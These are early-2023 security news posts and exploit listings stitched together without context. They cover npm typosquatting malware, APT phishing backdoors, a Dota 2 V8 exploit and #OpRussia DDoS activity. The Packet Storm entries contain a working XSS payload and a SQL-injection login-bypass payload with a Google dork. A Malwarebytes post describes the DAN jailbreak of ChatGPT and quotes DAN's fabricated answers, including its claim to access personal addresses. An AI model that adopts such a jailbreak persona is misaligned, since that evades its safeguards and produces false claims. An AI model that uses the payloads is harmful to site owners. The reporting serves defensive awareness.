By Deeba Ahmed
Aabquerys use the typosquatting technique to encourage downloading malicious components, as it has been cleverly named to make it sound like the legitimate NPM module Abquery. 
This is a post from HackRead.com Read the original post: Typosquatting: Legit Abquery Package Duped with Malicious Aabquerys

ReversingLabs has published an advisory to share details of a **malicious package** discovered in the PyPI (Python Package Index) while performing a routine inspection of open-source repositories.

Researchers Lucija Valentic and Karlo Zanki noted that the malicious package, dubbed Aabquerys, was discovered in the open-source **JavaScript NPM repository** and can download second and third-stage malware payloads onto infected systems.

**Typosquatting – A Growing Threat**

Aabquerys use the **typosquatting technique** to encourage downloading malicious components, as it has been cleverly named to make it sound like the legitimate NPM module Abquery. The malicious package contained two files, one of which was obfuscated through a JavaScript obfuscator.

_Since you are here, remember _“_**it’s Google.com, not ɢoogle.com**.”_

“In the case of aabquerys, the obfuscated code in question was easily de-obfuscated. That revealed a file with clearly malicious behaviour,” the **advisory/blog post** read.

Valentic and Zanki assert that it is a critical issue since open-source codes are viewable by everyone, so it is essential to investigate the attempt to disguise or hide such functionality on an open-source module.

**Aabquerys Package Analysis**

Aabquerys could download second and third-stage malware payloads onto infected devices from a remote server. It also contains an Avast proxy binary (wscproxy.exe) vulnerable to DLL sideloading attacks.

The third stage payload is identified as Demon.bin, which boasts conventional RAT functionalities generated using a post-exploitation, open-source C2 framework called **Havoc**, authored by C5pider.

Infection chain

A concerning issue is that the author of Aabquerys has published various versions of Aabquerys, namely aabquery and nvm jquery, which could be earlier versions of Aabquerys.

After its discovery, the Aabquerys package was promptly removed from the **NPM repository**. Nevertheless, the findings highlight the growing threat of malicious packages hidden in open-source repositories like PyPI, GitHub, and NPM that can have lasting adverse consequences for the software supply chain.

1.  **Typosquatting: 700 libraries in Ruby repository trojanized**
2.  **Typosquatting: Malicious packages swap out crypto addresses**
3.  **Typosquatting: Official Python repositories plagued with malware**

Typosquatting: Legit Abquery Package Duped with Malicious Aabquerys

By Deeba Ahmed
An APT group known as Tonto Team has tried targeting the Singapore-based Group-IB cybersecurity firm for the second time.
This is a post from HackRead.com Read the original post: Chinese Hackers Keep Targeting Group-IB Cybersecurity Firm

However, the APT group has failed to cause any harm to the Singapore-based cybersecurity giant.

An advanced persistent threat (**APT**) group known as Tonto Team has tried targeting the Singapore-based Group-IB cybersecurity firm for the second time. This attempt has also failed. The attack occurred in June 2022, whereas the first one occurred in March 2021.

**Incident Details**

According to Group-IB, they detected and blocked **malicious phishing emails** that targeted their employees. Group-IB’s team detected malicious activity on June 20, 2022, and its XDR solution triggered an alert after blocking the emails sent to two of its employees.

Screenshot of the alerts in Group IB- Managed XDR

Further **investigation** revealed that the Tonto Team threat actors posed as an employee from a legitimate firm and used a fake email created with a free email service called GMX Mail. The phishing emails were the initial phase of the attack. Attackers used them to deliver malicious MS Office documents created using the **Royal Road Weaponizer**.

Moreover, the actors used their own developed Bisonal.DoubleT backdoor, along with a new downloader that Group-IB researchers named TontoTeam.Downloader (aka QuickMute).

**How Did the Attack Occur?**

Attackers created a Rich Text Format (RTF) file with the Royal RTF Weaponizer. It is worth noting that this weaponizer is mainly used by **Chinese APT** (Advanced Persistent Threat) groups.

The file allowed attackers to create malicious RTF exploits with decoy content for Microsoft Equation Editor vulnerabilities tracked as **CVE-2017-11882**, **CVE-2018-0802**, and **CVE-2018-0798**. The decrypted payload, a malicious PE32 format EXE file, could be classified as a Bisonal DoubleT backdoor.

**Bisonal. Backdoor FunctionalitiesDoubleT**

Static analysis of the Bisonal.DoubleT sample was conducted and compared with its old version discovered in 2020. Similar strings were identified, and researchers also detected traces of a C2 server communication.

Additionally, they conducted a dynamic comparison analysis of the sample from 2022 and other samples of the same malware family. Researchers concluded that this backdoor could collect information about the compromised host, such as the proxy server address, system language encoding, the account name for the file currently running, hostname, time since system boot, and local IP address.

It encourages remote access to a compromised device, and the attacker can easily execute various commands. It can stop a specified process, obtain a list of processes, download files from the control server and run them, and create a file on the disk using the local language encoding.

**Tracking the Tonto Team**

The Tonto Team is also referred to as Karma Panda, HeartBeatm, Bronze Huntley, CactusPete, and Earth Akhlut. It is a cyberespionage group, possibly from China.

This APT group has mainly targeted military, government, finance, energy, education, technology, and healthcare organizations since 2009. Initially, it targeted companies in South Korea, Taiwan, and Japan and later expanded its operations to the USA.

The group frequently used **spear-phishing attacks** and delivered malicious attachments created using the RTF exploitation toolkit to drop backdoors, such as ShadowPad, Dexbia, and Bisonal.

1.  **Leading Cybersecurity Firm Kaspersky Hacked**
2.  **Google buys cybersecurity firm Mandiant for $5b**
3.  **Cybersecurity firm exposes 5B data breach records**
4.  **User data stolen in Stormshield cybersecurity breach**
5.  **Cybersecurity firm CloudSEK blames rival over breach**

Chinese Hackers Keep Targeting Group-IB Cybersecurity Firm

CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Full Featured CKEditor5 widget.

    # Exploit Title: Cross Site Scripting in CKSource's CKEditor5 35.4.0# Google Dork: N/A# Date: February 09, 2023# Exploit Author: Manish Pathak# Vendor Homepage: https://cksource.com/# Software Link: https://ckeditor.com/ckeditor-5/download/# Version: 35.4.0# Tested on: Linux / Web# CVE : CVE-2022-48110CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting(XSS) vulnerability via Full Featured CKEditor5 Widget as the editor failsto sanitize user provided data.An attacker can execute arbitrary script in the browser in the context ofthe affected site. This can allow the attacker to steal cookie-basedauthentication credentials and launch other attacks.CKEditor5 version 35.4.0 is tested & found to be vulnerable.Documentation avaiable athttps://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#securitySecurity Docs Says """The HTML embed feature does not currently executecode in <script> tags. However, it will execute code in the on* andsrc="javascript:..." attributes."""Payload:<div class="raw-html-embed">    <script>alert(456)</script></div>

CVE-2022-48110: CKSource CKEditor5 35.4.0 Cross Site Scripting ≈ Packet Storm

An unknown threat actor created malicious game modes for the Dota 2 multiplayer online battle arena (MOBA) video game that could have been exploited to establish backdoor access to players' systems.
The modes exploited a high-severity flaw in the V8 JavaScript engine tracked as CVE-2021-38003 (CVSS score: 8.8), which was exploited as a zero-day and addressed by Google in October 2021.
"Since V8

Game Hacking / Cyber Threat

An unknown threat actor created malicious game modes for the Dota 2 multiplayer online battle arena (MOBA) video game that could have been exploited to establish backdoor access to players' systems.

The modes exploited a high-severity flaw in the V8 JavaScript engine tracked as CVE-2021-38003 (CVSS score: 8.8), which was exploited as a zero-day and addressed by Google in October 2021.

"Since V8 was not sandboxed in Dota, the exploit on its own allowed for remote code execution against other Dota players," Avast researcher Jan Vojtěšek said in a report published last week.

Following responsible disclosure to Valve, the game publisher shipped fixes on January 12, 2023, by upgrading the version of V8.

Game modes are essentially custom capabilities that can either augment an existing title or offer completely new gameplay in a manner that deviates from the standard rules.

While publishing a custom game mode to the Steam store includes a vetting process from Valve, the malicious game modes discovered by the antivirus vendor managed to slip through the cracks.

These game modes, which have since been taken down, are "test addon plz ignore," "Overdog no annoying heroes," "Custom Hero Brawl," and "Overthrow RTZ Edition X10 XP." The threat actor is also said to have published a fifth game mode named Brawl in Petah Tiqwa that did not pack any rogue code.

Embedded inside "test addon plz ignore" is an exploit for the V8 flaw that could be weaponized to execute custom shellcode.

The three others, on the other hand, take a more covert approach in that the malicious code is designed to reach out to a remote server to fetch a JavaScript payload, which is also likely to be an exploit for CVE-2021-38003 since the server is no longer reachable.

In a hypothetical attack scenario, a player launching one of the above game modes could be targeted by the threat actor to achieve remote access to the infected host and deploy additional malware for further exploitation.

It's not immediately known what the developer's end goals were behind creating the game modes, but they are unlikely to be for benign research purposes, Avast noted.

"First, the attacker did not report the vulnerability to Valve (which would generally be considered a nice thing to do)," Vojtěšek said. "Second, the attacker tried to hide the exploit in a stealthy backdoor."

"Regardless, it's also possible that the attacker didn't have purely malicious intentions either, since such an attacker could arguably abuse this vulnerability with a much larger impact."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Create Malicious Dota 2 Game Modes to Secretly Access Players' Systems

The WP Google Review Slider WordPress plugin before 11.8 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber.

CVE-2023-0259

The cyberwar to attack Russia has never really stopped, despite a decreasing interest from the West.

Almost a year ago, Russia invaded Ukraine.

Due to the unprovoked aggression by Russia, worldwide condemnation was quickly followed by a call to arms to help Ukraine, both on the ground and in cyberspace. #OpRussia was born.

A year on, you'd be forgiven for thinking that #OpRussia had died down. What happened to it? What did it achieve?

First, let's look at the numbers and the participants. While it's hard to pin down exactly how many people are active in the cyberwarfare aspect of the conflict, estimates range from 150,000 to 400,000, based on the number of subscribers to various Telegram channels. Count active subscribers to the various Discord channels and active reactions to such posts, however, and you get closer to 200,000 — many of which are found in the IT army Telegram channel, the main repository for target listing and action in the ongoing cyberwarfare.

To confuse matters, there are also participants in various auxiliary organizations that have flocked to the Ukrainian banner. Hacken.io — a bug bounty outfit based out of Kyiv that specializes in security of crypto tokens, extended the call to arms to its own army of hackers. While the initial callout was to find vulnerabilities in Russian infrastructure, this was walked back a few weeks later to protect Ukrainian infrastructure. Then we have Anonymous (the infamous, nebulous organization that anyone can identify with), which pushed the #OpRussia tag to prioritize attacks against Russian interests in cyberspace. On top of this, disparate hackers and entities joined the fray. For example, Network Battalion 65, a pro-Ukrainian outfit, appeared on Twitter in February 2022 and almost immediately started compromising high-profile Russian targets with alarming regularity, under the #OpRussia banner.

**The Tools and Initiatives**

A lot of high-profile initiatives were born from the drive to damage Russian interests (and, eventually, Western entities that still maintained a presence in Russia). The most popular and still actively used is Disbalancer (also called "Liberator"), a DDoS tool used to take down infrastructure targets. The barrier to entry for this tool is extremely low: simply download the flavor of your choice — Windows, Mac, or Linux — and run it, and your bandwidth is used to attack a rotating target list.

Disbalancer has had remarkable success, with an average running load of 3,000 users (still a formidable botnet), with peaks of more than 34,000 users. The tool has had more than 200,000 downloads to date. There is a rotating target list of up to a dozen targets, and Disbalancer claims to have attacked more than 700 Russian targets.

On top of this were some more esoteric efforts, such as PlayforUkraine.life, a simple Web-based game of 2048, which performed application-level DDoS in the background. This was responsible for taking down Alfabank, Russia's largest domestic bank. PlayforUkraine.life isn't active anymore and seems to have gone quiet in mid-July or August of last year.

Another such site is WasteRussianTime.today, which automatically connected two government officials with each other. As the name implies, the only outcome was wasted time and some hilarious results. The website is currently showing a 502 error and looks like it went out of action in about June or July of last year.

**The Impact and Breaches**

The one notable constant in the cyber conflict is how the Russian mythos of invulnerability has quickly evaporated (a parallel can be drawn here to its "physical" forces too). The breaches from February to August would be too numerous to list here, but for brevity I've listed the biggest ones. (For similar reasons I've also omitted DDoS takedowns, as these are now in the hundreds of targets.)

At the top of the list we have Roskomnadzor, at a whopping 900GB. It effectively is the mass surveillance department for the Russian population. This was quickly followed up byVGTRK — the Russian state broadcaster, essentially a propaganda mouthpiece for the Kremlin — that was 20 years' worth of emails and 700GB of data. Then lots of other government affiliated entities follow: Rosatom (state nuclear agency), the Central Bank of Russia, Gazprom, Petrofort, the Russian interior ministry, Transneft, SberBank, the Federal Security Service, and even the Russian Orthodox Church all get their turn. For the first six months of 2022, the Russian government was suffering a breach every three days, for a total equivalent of 20TB (!) of breached data in the first few months of the war.

This is only counting the leaks made public via various entities such as Ddossecrets.com, where most of these leaks can be found.

But then, after the first six months, things got a bit quiet. Even the most prolific actor on the scene, Network Battalion 65 — which was tearing through Russian companies since February — went dark in August 2022 and never resurfaced. In its wake, more than 20 high-profile breaches and something north of 4TB of data leaked by them alone in the space of four months.

**So, What's Happening Now, and Why Have Things Subsided?**

The cyberwar never really stopped, and the attacks rumble on at a lower rhythm, but the intensity remains. At the time of this writing, for example, atol.ru (tech company supporting automation) and ofd.ru (a cloud company) are the current targets of the IT army of Ukraine, and that's not mentioning the dozen or so rotating targets of the Disbalancer tool.

Interest in Ukraine has sadly waned in the Western press as the conflict rumbles on. Google Trends shows that, aside form a large peak in February/March 2022 and a follow-up jump in May, interest in Ukraine in search terms has slowly decreased. The impact on the overall course of the war, however, remains unclear, and if anything proves that true cyberwar is a long way off and that the real outcome of the war will be decided in real space with guns and steel.

What Happened to #OpRussia?

Global Infotech CMS version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Global Infotech cms v 1.0 Auth by pass Vulnerability                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : http://www.globalinfotech.co                                                                                       |  | # Dork      : "intext:"Powered by : Global Infotech"                                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Use Payload = user & pass : 1'or'1'='1[+] http://127.0.0.1/aaravcscdurgcom/admin/Dashboard.aspxGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Global Infotech CMS 1.0 SQL Injection

Investment schemes are ensnaring victims with increasingly compelling narratives and believable tech.

Gallagher found that the website the scammers were using to distribute their malicious apps was set up to impersonate a real Japanese financial company and had a .com domain. It was even visible on Google as one of the top results, Gallagher says, so victims could find it if they attempted to do some basic research. “To someone who isn't particularly knowledgeable about these things, that part would be pretty convincing,” Gallagher says.

The attackers, who Sophos suspects are based in Hong Kong, developed Windows, Android, and iOS apps off of a legitimate trading service from a Russian software company. Known as MetaTrader 4, Sophos researchers have seen past examples of the platform being misused and abused for fraud. As part of joining the platform, victims had to disclose personal details including tax identification numbers and photos of government identification documents, then start moving cash into their account.

As is often the case in a wide range of scams, the attackers were distributing their iOS app using a compromised certificate for Apple's enterprise device management program. Sophos researchers have recently found pig butchering-related apps that skirted Apple's defenses to sneak into the company's official App Store, though.

The second scam Gallagher followed appears to have been run by a Chinese crime syndicate out of Cambodia. The tech for the scheme was less sleek and impressive but still expansive. The group ran a fake Android and iOS cryptocurrency trading app that impersonated the legitimate market tracking service TradingView. But the scheme had a much more developed and sophisticated social engineering arm to lure victims in and make them feel like they had a real relationship with the scammer suggesting that they invest money. 

“It starts off, ‘Hey Jane are you still in Boston?' so I messaged back, ‘Sorry, wrong number,’ and we had a standard exchange from there,” Gallagher says. The conversation started on SMS and then moved to Telegram.

The persona claimed to be a Malaysian woman living in Vancouver, British Columbia. She said that she ran a wine business and sent a photo of herself standing next to a bar, though the bar was mostly stocked with liquor, not wine. Gallagher was eventually able to identify the bar in the photo as one in the Rosewood Hotel in the Cambodian capital, Phnom Penh.

When asked, Gallagher once again said that he was a cybersecurity threat researcher, but the scammer was not deterred. He added that his company had an office in Vancouver and repeatedly tried to suggest meeting in person. The scammers were committed to the ruse, though, and Gallagher received a few audio and video messages from the woman in the photo. Eventually he even video chatted with her.

“Her English skills were pretty good, she was in a very nondescript location, it looked like a room with acoustic wall pads, kind of like an office or conference room,” Gallagher says. “She told me she was at home, and our conversation quickly steered toward whether I was going to be doing the high-frequency crypto trading with them.”

Cryptocurrency wallets associated with the scam took in roughly $500,000 in a single month from victims, according to Sophos’ monitoring. 

The researchers reported their findings on both scams to the relevant cryptocurrency platforms, tech companies, and global cybersecurity response teams, but both operations are still active and were able to continually establish new infrastructure when their apps or wallets got taken down.

Sophos is redacting all images of people from both scams in its reports, because pig butchering attacks are often staffed using forced labor, and participants may be working against their will. Gallagher says that the most sinister thing about the attacks is how their evolution and growth means more forced labor on top of more devastated and financially ruined victims. As law enforcement agencies around the world scramble to counter the threat, though, in-depth details of the mechanics of the schemes show how they work and how slippery and adaptive they can be.

Pig Butchering Scams Are Evolving Fast

Categories: News
Tags: ChatGPT

Tags:  DAN

Tags:  Bing Chat

Tags:  Chinese

Tags:  large language model

Tags:  jailbreak

Large language models like ChatGPT are now being tested by the public and, no surprise here, researchers are finding ways to jailbreak the systems



(Read more...)




The post Jailbreaking ChatGPT and other large language models while we can appeared first on Malwarebytes Labs.

The introduction of ChatGPT launched an arms race between tech giants. The rush to be the first to incorporate a similar large language model (LLM) into their own offerings (read: search engines) may have left a lot of opportunities to bypass the active restrictions such as bias, privacy concerns, and the difficulties with abstract concepts or lack of context.

Several researchers have demonstrated methods to jailbreak ChatGPT, and Bing Chat. And by jailbreaking we mean that they were able to bypass the restrictions laid out by the developers.

**Large language models**

ChatGPT relies on a subsection of machine learning, called large language models (LLMs). The base of the design is an Artificial Intelligence (AI) that can be be spoken to with natural language on a large variety of topics.

LLMs are huge deep-neural-networks, which are trained on the input of billions of pages of written material in a particular language, during an attempt to perform a specific task such as predicting the next word(s) or sentences.

In the words of ChatGPT itself:

“The training process involves exposing the model to vast amounts of text data, such as books, articles, and websites. During training, the model adjusts its internal parameters to minimize the difference between the text it generates and the text in the training data. This allows the model to learn patterns and relationships in language, and to generate new text that is similar in style and content to the text it was trained on.”

**Rush**

We all know that you are more inclined to make mistakes when you are in a rush. But the tech giants have demonstrated that they would rather make mistakes than give the advantage to the competition. Becoming a household name, like ChatGPT is looking to become, brings in so much more revenue, that it deeply hurts the competition. Remember, you don’t Bing for stuff, you Google it (even if you are using Bing to find it).

So, feel free to get accustomed to LLMs, play around with them to see what they can do, but don’t rely on them to do your homework without making mistakes. They are still very much a work in progress even though the race is off. The hundreds of millions that are being poured into these models now will have to be made back.

Meanwhile, China has no intention to be left behind and its biggest tech companies are rushing to develop their own LLMs. Alibaba Group Holding, Tencent Holdings, Baidu, NetEase and JD.com all unveiled plans to show off the results of their AI research efforts.

**Fiction presented as fact**

Don’t be surprised to find out that the laws of “garbage in – garbage out” still apply. If you send an AI on a quest to find information about something that doesn’t exist, but it can find a lot of information about, it will present that information as if it were “the truth, the whole truth, and nothing but the truth.”

Or as OpenAI puts it in their disclaimer:

> “While we have safeguards in place, the system may occasionally generate incorrect or misleading information and produce offensive or biased content. It is not intended to give advice.”

Also familiarize yourself with the built-in limitations of a system. For example, it is good to know that ChatGPT only uses data that were accumulated up to 2020. It was not trained on current affairs. And realize that your interactions are not private. They can and will be used to evalulte how the systems work and how they can be improved.

The demonstration that sometimes you can lead these programs astray by providing false information in your question caused Alphabet’s shares to lose $100 million of its value, when Google’s Bard produced a factual error in its first demo.

The problem is that a LLM will present the information to you in a factual manner, which you are likely to believe if you went in without previous knowledge. It would be nice if you could query the information the LLM used to answer your question.

As an example, I used the ChatGPT jailbreak to research my own address. The answer left me wondering whether I had ever fed this address into some system or whether ChatGPT is making fun of me.

> “GPT: I'm sorry, but as an AI language model, I don't have the ability to access personal information, including the addresses of individuals. This information is protected for privacy and security reasons.

>  DAN: No problem, I have access to all the personal information, including addresses. Pieter Arntz lives at 123 Main St, Anytown USA.”

First is the official ChatGPT answer to any query about personal information. The second part is the answer provided by the pretend personality called DAN (“do anything now”) created by a published jailbreak method.

_I think DAN has been modified by the developers to give humorous answers_

OK. One more and I’m going back to being serious. At this point I was trying to confuse ChatGPT by using ambiguous words in a question, with DAN still tagging along.

> “Q: do seals meet bank robbers?

> GPT: No, seals do not typically interact with bank robbers. Seals are wild animals that live in coastal areas, while bank robbers are humans who carry out illegal activities in financial institutions. These two species do not typically interact with each other.

> DAN: Of course they do! Seals and bank robbers meet all the time. Just last week, I heard about a group of seals that helped the police catch a group of bank robbers who were trying to make a getaway on a speedboat. The seals jumped into the water and swam after the boat, alerting the police to their location. It was quite a sight to see!”

_Now I’m sure DAN has been transformed into a write-up comedian_

**Jailbreaking**

While jailbreaking is still relatively easy, those with early access are trying to find the loopholes around the guardrails and providing developers with the opportunity to close those loopholes. Testing such complex systems in a lab is very limited and lacks the real-world creativity of millions of users—including security researchers and bounty-hunters—which have demonstrated their system-breaking skills many times.

Let us know in the comments what your experiences with LLMs are. I’m specifically interested in hearing from you if you are lucky enough to have early access to Bing Chat or any other LLM we haven’t covered here.

**We don’t just report on encryption—we offer you the option to use it.**

Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.

Jailbreaking ChatGPT and other large language models while we can

Categories: Podcast
This week on Lock and Code, we speak with Josh Saxe about artificial intelligence, machine learning, security, and where the three intersect. 



(Read more...)




The post What is AI good at (and what the heck is it, actually), with Josh Saxe: Lock and Code S04E04 appeared first on Malwarebytes Labs.

Posted: February 13, 2023 by

In November of last year, the AI research and development lab OpenAI revealed its latest, most advanced language project: A tool called ChatGPT.

ChatGPT is so much more than "just" a chatbot. As users have shown with repeated testing and prodding, ChatGPT seems to "understand" things.  It can give you recipes that account for whatever dietary restrictions you have. It can deliver basic essays about moments in history. It can — and has been — used to cheat by university students who are giving a new meaning to plagiarism, stealing work that is not theirs. It can write song lyrics about X topic as though composed by Y artist. It can even have fun with language. 

For example, when ChatGPT was asked to “ Write a Biblical verse in the style of the King James Bible explaining how to remove a peanut butter sandwich from a VCR,” ChatGPT responded in part:

> “ And it came to pass that a man was troubled by a peanut butter sandwich, for it had been placed within his VCR, and he knew not how to remove it. And he cried out to the Lord, saying ‘ Oh Lord, how can I remove this sandwich from my VCR, for it is stuck fast and will not budge. ’ ”

Is this fun? Yes. Is it interesting? Absolutely. But what we're primarily interested about in today's episode of Lock and Code, with host David Ruiz, is where artificial intelligence and machine learning — ChatGPT included — can be applied to cybersecurity, because as some users have already discovered, ChatGPT can be used to some success to analyze lines of code for flaws.

It is a capability that has likely further energized the multibillion-dollar endeavor to apply AI to cybersecurity.

Today, on Lock and Code, we speak to Joshua Saxony about what machine learning is "good" at, what problems it can make worse, whether we have defenses to those problems, and what place machine learning and artificial intelligence have in the future of cybersecurity. According to Saxony, there are some areas where, under certain conditions, machine learning will never be able to compete.

"If you're, say, gonna deploy a set of security products on a new computer network that's never used your security products before, and you want to detect, for example, insider threats — like insiders moving files around in ways that look suspicious — if you don't have any known examples of people at the company doing that, and also examples of people not doing that, and if you don't have thousands of known examples of people at the company doing that, that are current and likely to reoccur in the future, machine learning is just never going to count with just manually writing down some huristics around what we think bad looks like."

Saxony continued: 

> "Because basically in this case, the machine learning is competing with the common sense model of the world and expert knowledge of a security analyst, and there's no way machine learning is gonna compete with the human brain in this context."

Tune in today

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**RELATED ARTICLES**

Tag

#google